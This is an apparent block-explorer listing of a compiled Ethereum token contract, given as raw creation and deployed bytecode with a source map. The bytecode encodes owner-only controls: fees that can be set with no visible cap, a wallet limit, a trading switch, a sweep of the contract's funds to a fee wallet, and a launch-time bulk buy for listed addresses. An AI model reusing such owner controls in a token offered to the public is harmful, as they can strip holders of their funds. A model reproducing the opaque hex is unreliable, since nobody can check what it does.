60ff161561178257601454600e54116117775760105461177b565b6012545b90506117bd565b6001600160a01b0386166000908152600b602052604090205460ff16156117bd57601354600e54116117b657600f546117ba565b6011545b90505b600060646117cb8387611bda565b6117d59190611bf1565b9050801561185f576117e78184611c95565b30600090815260016020526040902054909350611805908290611c95565b30600081815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118569085815260200190565b60405180910390a35b50505b61186c8184611b9c565b6001600160a01b03851660009081526001602052604090205461188f9190611c95565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6118d98487611b9c565b60405190815260200160405180910390a35050505050565b600060208083528351808285015260005b8181101561191e57858101830151858201604001528201611902565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109d857600080fd5b6000806040838503121561196757600080fd5b82356119728161193f565b946020939093013593505050565b60008060006060848603121561199557600080fd5b83356119a08161193f565b925060208401356119b08161193f565b929592945050506040919091013590565b6000602082840312156119d357600080fd5b813560ff811681146119e457600080fd5b9392505050565b6000602082840312156119fd57600080fd5b81356119e48161193f565b600080600080600060a08688031215611a2057600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b600060208284031215611a5557600080fd5b5035919050565b80151581146109d857600080fd5b60008060408385031215611a7d57600080fd5b8235611a888161193f565b91506020830135611a9881611a5c565b809150509250929050565b60008060408385031215611ab657600080fd5b8235611ac18161193f565b91506020830135611a988161193f565b600080600060408486031215611ae657600080fd5b833567ffffffffffffffff80821115611afe57600080fd5b818601915086601f830112611b1257600080fd5b813581811115611b2157600080fd5b8760208260051b8501011115611b3657600080fd5b6020928301989097509590910135949350505050565b600181811c90821680611b6057607f821691505b602082108103611b8057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561066557610665611b86565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b808202811582820484141761066557610665611b86565b600082611c0e57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611c2557600080fd5b5051919050565b600060208284031215611c3e57600080fd5b81516119e481611a5c565b600060208284031215611c5b57600080fd5b81516119e48161193f565b634e487b7160e01b600052603260045260246000fd5b600060018201611c8e57611c8e611b86565b5060010190565b8082018082111561066557610665611b86565b634e487b7160e01b600052604160045260246000fd5b600081518084526020808501945080840160005b83811015611cf75781516001600160a01b031687529582019590820190600101611cd2565b509495945050505050565b828152604060208201526000611d1b6040830184611cbe565b949350505050565b60006020808385031215611d3657600080fd5b825167ffffffffffffffff80821115611d4e57600080fd5b818501915085601f830112611d6257600080fd5b815181811115611d7457611d74611ca8565b8060051b604051601f19603f83011681018181108582111715611d9957611d99611ca8565b604052918252848201925083810185019188831115611db757600080fd5b938501935b82851015611dd557845184529385019392850192611dbc565b98975050505050505050565b85815284602082015260a060408201526000611e0060a0830186611cbe565b6001600160a01b039490941660608301525060800152939250505056fea26469706673582212208a7133e7ce15c483ae67fed79961c7c979b31f617ea04cc080998a0532e8b66f64736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101c65760003560e01c806365b61b77116100f7578063a67755c211610095578063d242fbcc11610064578063d242fbcc1461051c578063dd62ed3e1461053c578063f2fde38b14610582578063f71dd7e0146105a257600080fd5b8063a67755c2146104ad578063a9059cbb146104cd578063bc76c052146104ed578063cefab2af1461050257600080fd5b80637cc5b1e6116100d15780637cc5b1e61461043a5780638da5cb5b1461045a578063936c044b1461047857806395d89b411461049857600080fd5b806365b61b77146103cf57806370a08231146103ef578063715018a61461042557600080fd5b8063319c2f64116101645780633f80b6d71161013e5780633f80b6d71461033c5780634bf28fd01461035c578063553193ca146103995780636402511e146103af57600080fd5b8063319c2f64146102ba57806336b2e027146102dc5780633ecad2711461030c57600080fd5b80631b583749116101a05780631b5837491461024c57806323b872dd1461026257806327b1a8e914610282578063313ce5671461029857600080fd5b806306fdde03146101d2578063095ea7b3146101fd57806318160ddd1461022d57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101e76105c2565b6040516101f491906118f1565b60405180910390f35b34801561020957600080fd5b5061021d610218366004611954565b610654565b60405190151581526020016101f4565b34801561023957600080fd5b506009545b6040519081526020016101f4565b34801561025857600080fd5b5061023e600d5481565b34801561026e57600080fd5b5061021d61027d366004611980565b61066b565b34801561028e57600080fd5b5061023e600e5481565b3480156102a457600080fd5b5060075460405160ff90911681526020016101f4565b3480156102c657600080fd5b506102da6102d53660046119c1565b610702565b005b3480156102e857600080fd5b5061021d6102f73660046119eb565b60086020526000908152604090205460ff1681565b34801561031857600080fd5b5061021d6103273660046119eb565b600b6020526000908152604090205460ff1681565b34801561034857600080fd5b506102da610357366004611a08565b61075e565b34801561036857600080fd5b50600c546103819061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101f4565b3480156103a557600080fd5b5061023e60185481565b3480156103bb57600080fd5b506102da6103ca366004611a43565b61079f565b3480156103db57600080fd5b50600a54610381906001600160a01b031681565b3480156103fb57600080fd5b5061023e61040a3660046119eb565b6001600160a01b031660009081526001602052604090205490565b34801561043157600080fd5b506102da6107ce565b34801561044657600080fd5b50600354610381906001600160a01b031681565b34801561046657600080fd5b506000546001600160a01b0316610381565b34801561048457600080fd5b506102da610493366004611a6a565b610842565b3480156104a457600080fd5b506101e7610897565b3480156104b957600080fd5b506102da6104c83660046119eb565b6108a6565b3480156104d957600080fd5b5061021d6104e8366004611954565b6109db565b3480156104f957600080fd5b506102da6109e8565b34801561050e57600080fd5b5060165461021d9060ff1681565b34801561052857600080fd5b506102da610537366004611aa3565b610a26565b34801561054857600080fd5b5061023e610557366004611aa3565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561058e57600080fd5b506102da61059d3660046119eb565b610a7e565b3480156105ae57600080fd5b506102da6105bd366004611ad1565b610b44565b6060600580546105d190611b4c565b80601f01602080910402602001604051908101604052809291908181526020018280546105fd90611b4c565b801561064a5780601f1061061f5761010080835404028352916020019161064a565b820191906000526020600020905b81548152906001019060200180831161062d57829003601f168201915b5050505050905090565b6000610661338484610e0b565b5060015b92915050565b6000610678848484610e6c565b6001600160a01b0384166000908152600260209081526040808320338452909152902054600019146106f8576001600160a01b03841660009081526002602090815260408083203384529091529020546106d3908390611b9c565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146107355760405162461bcd60e51b815260040161072c90611baf565b60405180910390fd5b60648160ff1661074460095490565b61074e9190611bda565b6107589190611bf1565b600d5550565b6000546001600160a01b031633146107885760405162461bcd60e51b815260040161072c90611baf565b601194909455601292909255601355601455601555565b6000546001600160a01b031633146107c95760405162461bcd60e51b815260040161072c90611baf565b601755565b6000546001600160a01b031633146107f85760405162461bcd60e51b815260040161072c90611baf565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461086c5760405162461bcd60e51b815260040161072c90611baf565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6060600680546105d190611b4c565b6001600160a01b03811630146109d8576003546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa158015610909573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092d9190611c13565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610978573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099c9190611c2c565b506003546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156109d6573d6000803e3d6000fd5b505b50565b6000610661338484610e6c565b6000546001600160a01b03163314610a125760405162461bcd60e51b815260040161072c90611baf565b6016805460ff19811660ff90911615179055565b6000546001600160a01b03163314610a505760405162461bcd60e51b815260040161072c90611baf565b600380546001600160a01b039384166001600160a01b03199182161790915560048054929093169116179055565b6000546001600160a01b03163314610aa85760405162461bcd60e51b815260040161072c90611baf565b6001600160a01b038116610ae95760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b604482015260640161072c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610b6e5760405162461bcd60e51b815260040161072c90611baf565b600a54604080516315ab88c960e31b815290516000926001600160a01b03169163ad5c46489160048083019260209291908290030181865afa158015610bb8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bdc9190611c49565b6040516370a0823160e01b815233600482018190529192506001600160a01b038316916323b872dd91309084906370a0823190602401602060405180830381865afa158015610c2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c539190611c13565b6040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af1158015610ca7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ccb9190611c2c565b5060005b83811015610d1957610d0783868684818110610ced57610ced611c66565b9050602002016020810190610d0291906119eb565b611129565b80610d1181611c7c565b915050610ccf565b50436018556040516370a0823160e01b81523060048201526000906001600160a01b038316906370a0823190602401602060405180830381865afa158015610d65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d899190611c13565b90508015610e045760405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303816000875af1158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e029190611c2c565b505b5050505050565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811015610ec85760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b604482015260640161072c565b600c5460ff1615610ede57610e04848484611467565b6001600160a01b0383166000908152600b602052604081205460ff168015610f095750600c5460ff16155b8015610f2e57506001600160a01b03851660009081526008602052604090205460ff16155b8015610f5357506001600160a01b03841660009081526008602052604090205460ff16155b8015610f625750601554600e54115b15610fa757306000908152600160205260409020548390811115610f925750306000908152600160205260409020545b601754811115610fa557610fa58161151c565b505b6001600160a01b03851660009081526008602052604090205460ff16158015610fe957506001600160a01b03841660009081526008602052604090205460ff16155b8015610ff85750600c5460ff16155b1561111d5760006018541161100c57600080fd5b506001600160a01b0384166000908152600b602052604090205460019060ff1680156110465750600a546001600160a01b03858116911614155b801561106b57506001600160a01b03841660009081526008602052604090205460ff16155b156110ee57600e805490600061108083611c7c565b9190505550600d54836110a8866001600160a01b031660009081526001602052604090205490565b6110b29190611c95565b11156110ee5760405162461bcd60e51b815260206004820152600b60248201526a1dd85b1b195d1b1a5b5a5d60aa1b604482015260640161072c565b60165460ff1680156110ff57508183145b1561111d5761111061271084611bf1565b61111a9084611b9c565b92505b610e04858585846116fd565b600c805460ff19166001179055600a54604080516315ab88c960e31b815290516000926001600160a01b03169163ad5c46489160048083019260209291908290030181865afa158015611180573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a49190611c49565b604080516002808252606082018352929350600092909160208301908036833701905050905081816000815181106111de576111de611c66565b60200260200101906001600160a01b031690816001600160a01b031681525050308160018151811061121257611212611c66565b6001600160a01b03929092166020928302919091018201526040805160028082526060820183526000939192909183019080368337019050509050308160008151811061126157611261611c66565b60200260200101906001600160a01b031690816001600160a01b031681525050828160018151811061129557611295611c66565b6001600160a01b0392831660209182029290920101526040516370a0823160e01b81523060048201526000918516906370a0823190602401602060405180830381865afa1580156112ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130e9190611c13565b600a549091506000906001600160a01b031663d06ca61f6127108961133260095490565b61133c9190611bda565b6113469190611bf1565b856040518363ffffffff1660e01b8152600401611364929190611d02565b600060405180830381865afa158015611381573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526113a99190810190611d23565b6001815181106113bb576113bb611c66565b602002602001015190508181116113d257806113d4565b815b9050806000036113e8575050505050611459565b600a54604051635c11d79560e01b81526001600160a01b0390911690635c11d7959061142190849060009089908c904290600401611de1565b600060405180830381600087803b15801561143b57600080fd5b505af115801561144f573d6000803e3d6000fd5b5050505050505050505b5050600c805460ff19169055565b6001600160a01b038316600090815260016020526040812080548391908390611491908490611b9c565b90915550506001600160a01b038316600090815260016020526040812080548492906114be908490611c95565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161150a91815260200190565b60405180910390a35060019392505050565b600c805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061155e5761155e611c66565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156115b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115db9190611c49565b816001815181106115ee576115ee611c66565b6001600160a01b039283166020918202929092010152600a5460405163791ac94760e01b815291169063791ac94790611634908590600090869030904290600401611de1565b600060405180830381600087803b15801561164e57600080fd5b505af192505050801561165f575060015b5047662386f26fc100008111156116ee576003546001600160a01b03166108fc61168a600a84611bf1565b6040518115909202916000818181858888f193505050501580156116b2573d6000803e3d6000fd5b506004546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156116ec573d6000803e3d6000fd5b505b5050600c805460ff1916905550565b6001600160a01b038416600090815260016020526040902054611721908390611b9c565b6001600160a01b0385166000908152600160205260408120919091558115611862576001600160a01b0384166000908152600b602052604081205460ff161561178257601454600e54116117775760105461177b565b6012545b90506117bd565b6001600160a01b0386166000908152600b602052604090205460ff16156117bd57601354600e54116117b657600f546117ba565b6011545b90505b600060646117cb8387611bda565b6117d59190611bf1565b9050801561185f576117e78184611c95565b30600090815260016020526040902054909350611805908290611c95565b30600081815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118569085815260200190565b60405180910390a35b50505b61186c8184611b9c565b6001600160a01b03851660009081526001602052604090205461188f9190611c95565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6118d98487611b9c565b60405190815260200160405180910390a35050505050565b600060208083528351808285015260005b8181101561191e57858101830151858201604001528201611902565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109d857600080fd5b6000806040838503121561196757600080fd5b82356119728161193f565b946020939093013593505050565b60008060006060848603121561199557600080fd5b83356119a08161193f565b925060208401356119b08161193f565b929592945050506040919091013590565b6000602082840312156119d357600080fd5b813560ff811681146119e457600080fd5b9392505050565b6000602082840312156119fd57600080fd5b81356119e48161193f565b600080600080600060a08688031215611a2057600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b600060208284031215611a5557600080fd5b5035919050565b80151581146109d857600080fd5b60008060408385031215611a7d57600080fd5b8235611a888161193f565b91506020830135611a9881611a5c565b809150509250929050565b60008060408385031215611ab657600080fd5b8235611ac18161193f565b91506020830135611a988161193f565b600080600060408486031215611ae657600080fd5b833567ffffffffffffffff80821115611afe57600080fd5b818601915086601f830112611b1257600080fd5b813581811115611b2157600080fd5b8760208260051b8501011115611b3657600080fd5b6020928301989097509590910135949350505050565b600181811c90821680611b6057607f821691505b602082108103611b8057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561066557610665611b86565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b808202811582820484141761066557610665611b86565b600082611c0e57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611c2557600080fd5b5051919050565b600060208284031215611c3e57600080fd5b81516119e481611a5c565b600060208284031215611c5b57600080fd5b81516119e48161193f565b634e487b7160e01b600052603260045260246000fd5b600060018201611c8e57611c8e611b86565b5060010190565b8082018082111561066557610665611b86565b634e487b7160e01b600052604160045260246000fd5b600081518084526020808501945080840160005b83811015611cf75781516001600160a01b031687529582019590820190600101611cd2565b509495945050505050565b828152604060208201526000611d1b6040830184611cbe565b949350505050565b60006020808385031215611d3657600080fd5b825167ffffffffffffffff80821115611d4e57600080fd5b818501915085601f830112611d6257600080fd5b815181811115611d7457611d74611ca8565b8060051b604051601f19603f83011681018181108582111715611d9957611d99611ca8565b604052918252848201925083810185019188831115611db757600080fd5b938501935b82851015611dd557845184529385019392850192611dbc565b98975050505050505050565b85815284602082015260a060408201526000611e0060a0830186611cbe565b6001600160a01b039490941660608301525060800152939250505056fea26469706673582212208a7133e7ce15c483ae67fed79961c7c979b31f617ea04cc080998a0532e8b66f64736f6c63430008110033

Deployed Bytecode Sourcemap

3139:10072:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5596:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6359:159;;;;;;;;;;-1:-1:-1;6359:159:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6359:159:0;1023:187:1;5800:100:0;;;;;;;;;;-1:-1:-1;5880:12:0;;5800:100;;;1361:25:1;;;1349:2;1334:18;5800:100:0;1215:177:1;3854:25:0;;;;;;;;;;;;;;;;6526:336;;;;;;;;;;-1:-1:-1;6526:336:0;;;;;:::i;:::-;;:::i;7322:26::-;;;;;;;;;;;;;;;;5698:94;;;;;;;;;;-1:-1:-1;5775:9:0;;5698:94;;5775:9;;;;2000:36:1;;1988:2;1973:18;5698:94:0;1858:184:1;3886:120:0;;;;;;;;;;-1:-1:-1;3886:120:0;;;;;:::i;:::-;;:::i;:::-;;3462:49;;;;;;;;;;-1:-1:-1;3462:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3596:44;;;;;;;;;;-1:-1:-1;3596:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7637:406;;;;;;;;;;-1:-1:-1;7637:406:0;;;;;:::i;:::-;;:::i;3722:27::-;;;;;;;;;;-1:-1:-1;3722:27:0;;;;;;;-1:-1:-1;;;;;3722:27:0;;;;;;-1:-1:-1;;;;;3196:32:1;;;3178:51;;3166:2;3151:18;3722:27:0;3032:203:1;10791:30:0;;;;;;;;;;;;;;;;8211:117;;;;;;;;;;-1:-1:-1;8211:117:0;;;;;:::i;:::-;;:::i;3553:36::-;;;;;;;;;;-1:-1:-1;3553:36:0;;;;-1:-1:-1;;;;;3553:36:0;;;5908:119;;;;;;;;;;-1:-1:-1;5908:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6001:18:0;5974:7;6001:18;;;:9;:18;;;;;;;5908:119;2762:148;;;;;;;;;;;;;:::i;3308:26::-;;;;;;;;;;-1:-1:-1;3308:26:0;;;;-1:-1:-1;;;;;3308:26:0;;;2565:79;;;;;;;;;;-1:-1:-1;2603:7:0;2630:6;-1:-1:-1;;;;;2630:6:0;2565:79;;13050:121;;;;;;;;;;-1:-1:-1;13050:121:0;;;;;:::i;:::-;;:::i;5490:98::-;;;;;;;;;;;;;:::i;12195:237::-;;;;;;;;;;-1:-1:-1;12195:237:0;;;;;:::i;:::-;;:::i;6035:165::-;;;;;;;;;;-1:-1:-1;6035:165:0;;;;;:::i;:::-;;:::i;8089:87::-;;;;;;;;;;;;;:::i;8051:31::-;;;;;;;;;;-1:-1:-1;8051:31:0;;;;;;;;5320:162;;;;;;;;;;-1:-1:-1;5320:162:0;;;;;:::i;:::-;;:::i;6208:143::-;;;;;;;;;;-1:-1:-1;6208:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6316:18:0;;;6289:7;6316:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6208:143;2918:214;;;;;;;;;;-1:-1:-1;2918:214:0;;;;;:::i;:::-;;:::i;10828:507::-;;;;;;;;;;-1:-1:-1;10828:507:0;;;;;:::i;:::-;;:::i;5596:94::-;5644:13;5677:5;5670:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5596:94;:::o;6359:159::-;6434:4;6451:37;6460:10;6472:7;6481:6;6451:8;:37::i;:::-;-1:-1:-1;6506:4:0;6359:159;;;;;:::o;6526:336::-;6624:4;6641:36;6651:6;6659:9;6670:6;6641:9;:36::i;:::-;-1:-1:-1;;;;;6692:19:0;;3713:1;6692:19;;;:11;:19;;;;;;;;6712:10;6692:31;;;;;;;;-1:-1:-1;;6692:38:0;6688:145;;-1:-1:-1;;;;;6781:19:0;;;;;;:11;:19;;;;;;;;6801:10;6781:31;;;;;;;;:40;;6815:6;;6781:40;:::i;:::-;-1:-1:-1;;;;;6747:19:0;;;;;;:11;:19;;;;;;;;6767:10;6747:31;;;;;;;:74;6688:145;-1:-1:-1;6850:4:0;6526:336;;;;;:::o;3886:120::-;2692:6;;-1:-1:-1;;;;;2692:6:0;2702:10;2692:20;2684:50;;;;-1:-1:-1;;;2684:50:0;;;;;;;:::i;:::-;;;;;;;;;3995:3:::1;3982:10;3966:26;;:13;5880:12:::0;;;5800:100;3966:13:::1;:26;;;;:::i;:::-;:32;;;;:::i;:::-;3953:10;:45:::0;-1:-1:-1;3886:120:0:o;7637:406::-;2692:6;;-1:-1:-1;;;;;2692:6:0;2702:10;2692:20;2684:50;;;;-1:-1:-1;;;2684:50:0;;;;;;;:::i;:::-;7844:12:::1;:21:::0;;;;7876:13:::1;:23:::0;;;;7910:15:::1;:30:::0;7951:16:::1;:32:::0;7994:18:::1;:41:::0;7637:406::o;8211:117::-;2692:6;;-1:-1:-1;;;;;2692:6:0;2702:10;2692:20;2684:50;;;;-1:-1:-1;;;2684:50:0;;;;;;;:::i;:::-;8297:12:::1;:23:::0;8211:117::o;2762:148::-;2692:6;;-1:-1:-1;;;;;2692:6:0;2702:10;2692:20;2684:50;;;;-1:-1:-1;;;2684:50:0;;;;;;;:::i;:::-;2869:1:::1;2853:6:::0;;2832:40:::1;::::0;-1:-1:-1;;;;;2853:6:0;;::::1;::::0;2832:40:::1;::::0;2869:1;;2832:40:::1;2900:1;2883:19:::0;;-1:-1:-1;;;;;;2883:19:0::1;::::0;;2762:148::o;13050:121::-;2692:6;;-1:-1:-1;;;;;2692:6:0;2702:10;2692:20;2684:50;;;;-1:-1:-1;;;2684:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;13129:26:0;;;::::1;;::::0;;;:17:::1;:26;::::0;;;;:34;;-1:-1:-1;;13129:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;13050:121::o;5490:98::-;5540:13;5573:7;5566:14;;;;;:::i;12195:237::-;-1:-1:-1;;;;;12255:23:0;;12273:4;12255:23;12252:173;;12318:3;;12323:39;;-1:-1:-1;;;12323:39:0;;12356:4;12323:39;;;3178:51:1;-1:-1:-1;;;;;12294:23:0;;;;;;12318:3;;;12294:23;;12323:24;;3151:18:1;;12323:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12294:69;;-1:-1:-1;;;;;;12294:69:0;;;;;;;-1:-1:-1;;;;;7665:32:1;;;12294:69:0;;;7647:51:1;7714:18;;;7707:34;7620:18;;12294:69:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;12378:3:0;;:35;;-1:-1:-1;;;;;12378:3:0;;;;12391:21;12378:35;;;;;:3;:35;:3;:35;12391:21;12378:3;:35;;;;;;;;;;;;;;;;;;;;;12252:173;12195:237;:::o;6035:165::-;6113:4;6130:40;6140:10;6152:9;6163:6;6130:9;:40::i;8089:87::-;2692:6;;-1:-1:-1;;;;;2692:6:0;2702:10;2692:20;2684:50;;;;-1:-1:-1;;;2684:50:0;;;;;;;:::i;:::-;8156:12:::1;::::0;;-1:-1:-1;;8140:28:0;::::1;8156:12;::::0;;::::1;8155:13;8140:28;::::0;;8089:87::o;5320:162::-;2692:6;;-1:-1:-1;;;;;2692:6:0;2702:10;2692:20;2684:50;;;;-1:-1:-1;;;2684:50:0;;;;;;;:::i;:::-;5437:3:::1;:12:::0;;-1:-1:-1;;;;;5437:12:0;;::::1;-1:-1:-1::0;;;;;;5437:12:0;;::::1;;::::0;;;5460:4:::1;:14:::0;;;;;::::1;::::0;::::1;;::::0;;5320:162::o;2918:214::-;2692:6;;-1:-1:-1;;;;;2692:6:0;2702:10;2692:20;2684:50;;;;-1:-1:-1;;;2684:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3007:22:0;::::1;2999:43;;;::::0;-1:-1:-1;;;2999:43:0;;8204:2:1;2999:43:0::1;::::0;::::1;8186:21:1::0;8243:1;8223:18;;;8216:29;-1:-1:-1;;;8261:18:1;;;8254:38;8309:18;;2999:43:0::1;8002:331:1::0;2999:43:0::1;3079:6;::::0;;3058:38:::1;::::0;-1:-1:-1;;;;;3058:38:0;;::::1;::::0;3079:6;::::1;::::0;3058:38:::1;::::0;::::1;3107:6;:17:::0;;-1:-1:-1;;;;;;3107:17:0::1;-1:-1:-1::0;;;;;3107:17:0;;;::::1;::::0;;;::::1;::::0;;2918:214::o;10828:507::-;2692:6;;-1:-1:-1;;;;;2692:6:0;2702:10;2692:20;2684:50;;;;-1:-1:-1;;;2684:50:0;;;;;;;:::i;:::-;10928:14:::1;::::0;:21:::1;::::0;;-1:-1:-1;;;10928:21:0;;;;10913:12:::1;::::0;-1:-1:-1;;;;;10928:14:0::1;::::0;:19:::1;::::0;:21:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;:14;:21:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11011:34;::::0;-1:-1:-1;;;11011:34:0;;10986:10:::1;11011:34;::::0;::::1;3178:51:1::0;;;10913:36:0;;-1:-1:-1;;;;;;10960:25:0;::::1;::::0;::::1;::::0;11005:4:::1;::::0;10960:25;;11011:22:::1;::::0;3151:18:1;;11011:34:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10960:86;::::0;-1:-1:-1;;;;;;10960:86:0::1;::::0;;;;;;-1:-1:-1;;;;;8852:15:1;;;10960:86:0::1;::::0;::::1;8834:34:1::0;8904:15;;;;8884:18;;;8877:43;8936:18;;;8929:34;8769:18;;10960:86:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11061:6;11057:80;11070:13:::0;;::::1;11057:80;;;11103:22;11113:3;11117:4;;11122:1;11117:7;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;11103:9;:22::i;:::-;11084:3:::0;::::1;::::0;::::1;:::i;:::-;;;;11057:80;;;-1:-1:-1::0;11165:12:0::1;11147:15;:30:::0;11203:37:::1;::::0;-1:-1:-1;;;11203:37:0;;11234:4:::1;11203:37;::::0;::::1;3178:51:1::0;11188:12:0::1;::::0;-1:-1:-1;;;;;11203:22:0;::::1;::::0;::::1;::::0;3151:18:1;;11203:37:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11188:52:::0;-1:-1:-1;11254:8:0;;11251:77:::1;;11278:38;::::0;-1:-1:-1;;;11278:38:0;;11300:10:::1;11278:38;::::0;::::1;7647:51:1::0;7714:18;;;7707:34;;;-1:-1:-1;;;;;11278:21:0;::::1;::::0;::::1;::::0;7620:18:1;;11278:38:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11251:77;10902:433;;10828:507:::0;;;:::o;6870:177::-;-1:-1:-1;;;;;6955:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7007:32;;1361:25:1;;;7007:32:0;;1334:18:1;7007:32:0;;;;;;;6870:177;;;:::o;8336:1408::-;-1:-1:-1;;;;;6001:18:0;;8450:15;6001:18;;;:9;:18;;;;;;8502:17;;;;8494:46;;;;-1:-1:-1;;;8494:46:0;;9727:2:1;8494:46:0;;;9709:21:1;9766:2;9746:18;;;9739:30;-1:-1:-1;;;9785:18:1;;;9778:46;9841:18;;8494:46:0;9525:340:1;8494:46:0;8557:6;;;;8553:91;;;8579:32;8594:4;8600:2;8604:6;8579:14;:32::i;8553:91::-;-1:-1:-1;;;;;8685:16:0;;8656:12;8685:16;;;:12;:16;;;;;;;;:27;;;;-1:-1:-1;8706:6:0;;;;8705:7;8685:27;:55;;;;-1:-1:-1;;;;;;8717:23:0;;;;;;:17;:23;;;;;;;;8716:24;8685:55;:81;;;;-1:-1:-1;;;;;;8745:21:0;;;;;;:17;:21;;;;;;;;8744:22;8685:81;:115;;;;;8782:18;;8770:9;;:30;8685:115;8681:424;;;8900:4;5974:7;6001:18;;;:9;:18;;;;;;8841:6;;8866:13;:40;8862:120;;;-1:-1:-1;8960:4:0;8942:24;;;;:9;:24;;;;;;8862:120;9016:12;;9000:13;:28;8996:98;;;9048:30;9064:13;9048:15;:30::i;:::-